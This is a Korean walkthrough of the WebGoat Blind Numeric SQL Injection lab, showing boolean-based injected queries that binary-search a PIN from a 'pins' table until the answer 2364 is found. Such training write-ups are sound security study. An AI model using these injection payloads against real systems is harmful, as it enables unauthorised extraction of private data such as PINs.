이번 실습은 webgoat에 Blind Numeric SQL Injection 문제이다.
이전 문제가 Numeric SQL Injection라 뭔가 연관성이 있지 않을까? 할 수 있지만
Numeric SQL Injection과 Blind Numeric SQL Injection 문제는 아예 다른 문제이다.
(Java랑 Javascript 같이)
여튼 문제를 한번 보자
문제: 아래 폼을 통해 사용자는 계좌 번호를 입력하고 그것이 유효한지 여부를 결정할 수 있다. 데이터베이스의 다른 항목을 확인하기 위해 참/거짓 테스트를 개발하려면 이 양식을 사용하십시오.
cc_number가 1111222233334444인 행의 table pins에서 필드 pin 값을 찾으시오. 필드는 정수인 int 유형이다.
이 사이트는 기본적으로 사용자가 입력한 계좌번호(Account Number)의 유효성을 알려준다.
계좌가 존재하면 Valid, 그 반대면 Invalid
그럼 문제를 다시보자
cc_number가 1111222233334444인 행의 table pins에서 필드 pin 값을 찾으시오.
2번 까지 알아내면 해당하는 데이터만 예측해보면 된다.
1번째로 접근해보자
개발자 도구로 Go! 버튼을 보면
<form accept-charset="UNKNOWN" method="POST"
name="form" action="attack?Screen=35&menu=1100" enctype="">
<p>Enter your Account Number:
<input name="account_number" type="TEXT" value="999">
<input name="SUBMIT" type="SUBMIT" value="Go!">
</p>
<p>Invalid account number.</p>
</form>
로 되어있고
attack?Screen=35&menu=1100&account_number=999&SUBMIT=Go!
이 서버로 전달되는 형식과 값이다.
아마 이런 mysql 문을 사용하고 있지 않을까? 하고 생각할 수 있다. (이게 맞다는게 절대 아니다)
select * from accounts where account_number = 999
그럼 우리가 알고 싶은 정보의 query를 만들면
select pin from pins where cc_number = '1111222233334444'
이렇게 된다.
그럼 우리는 1111222233334444에 해당하는 찾아가면 된다.
일단 항상 Valid한 102와 찾고 싶은 값을 and로 묶어서 query문에 넣어주면 이렇게 쿼리문이 나온다.
select * from accounts where account_number=102 and
(select pin from pins where cc_number='1111222233334444') > ???
???이 찾고자 하는 값
select * from accounts where account_number=102 and
(select pin from pins where cc_number='1111222233334444') > ???
select * from accounts where account_number=102 and
(select pin from pins where cc_number='1111222233334444') > 100
select * from accounts where account_number=102 and
(select pin from pins where cc_number='1111222233334444') > 1000
Valid하다고 나오니 값이 1000보다는 크다는걸 알 수 있다.
select * from accounts where account_number=102 and
(select pin from pins where cc_number='1111222233334444') > 5000
Invalid하다고 나오니 값이 5000보다는 작다는걸 알 수 있다.
1000< x < 5000
2000< x < 5000
.
.
.
이렇게 범위 좁히다보면 문제가 원하는 pin 값은 2364 가 답인걸 알 수 있다.
select * from accounts where account_number=102 and
(select pin from pins where cc_number='1111222233334444') = 2364